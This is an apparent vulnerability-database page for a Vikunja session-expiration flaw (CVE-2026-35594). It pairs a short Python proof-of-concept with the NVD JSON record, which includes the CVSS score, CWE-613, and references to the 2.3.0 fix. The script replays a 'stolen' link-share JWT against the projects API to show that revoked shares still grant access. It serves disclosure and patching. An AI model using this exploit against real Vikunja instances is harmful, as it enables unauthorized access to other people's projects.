CVE-2026-35594

import requests import sys # Target URL (Vikunja instance) target_url = "https://<vikunja-domain>/api/v1/projects" # Stolen JWT token obtained before the share was revoked # Extract this from the browser's LocalStorage or Cookies after authenticating via a link share stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTIzLCJ0eXBlIjoic2hhcmUiLCJwcm9qZWN0X2lkIjoxfQ.fake-signature" headers = { "Authorization": f"Bearer {stolen_token}", "Content-Type": "application/json" } def main(): print(f"[*] Attempting to access {target_url} using revoked token...") try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Server accepted the request despite the link share being deleted/revoked.") print(f"[+] Response Data: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-35594", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:32.000", "lastModified": "2026-04-24T14:53:24.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, Vikunja's link share authentication (GetLinkShareFromClaims in pkg/models/link_sharing.go) constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl). This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/379d8a5c19334ffe4846003f590e202c31a75479", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/pull/2581", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-96q5-xm3p-7m84", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-96q5-xm3p-7m84", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}